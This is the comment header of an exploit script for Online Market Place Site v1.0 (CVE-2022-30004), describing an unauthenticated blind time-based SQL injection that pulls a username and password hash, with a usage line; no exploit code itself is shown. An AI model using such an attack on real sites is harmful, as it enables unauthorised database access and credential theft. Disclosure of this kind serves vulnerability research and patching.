# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/omps.zip
# Tested on: Kali Linux, Apache, Mysql
# CVE: CVE-2022-30004 (RESERVED)
# Vendor: oretnom23
# Version: v1.0
# Exploit Description:
#   Online Market Place Site v1.0 suffers from an unauthenticated blind SQL Injection Vulnerability allowing remote attackers to dump the SQL database via time-based SQL injection.
#   This script will retrieve a single username and associciated password hash from the omps_db database via blind, time-based SQL injection.
#   By default, the username & hash retrieved will have an ID equal to zero in the database, i.e. the first username and password hash.
#   Default behavior can be changed by setting the USERID variable. Sleep timings may also have to be adjusted to account for network latency.
#   Ex: python3 omps.py 10.14.14.2
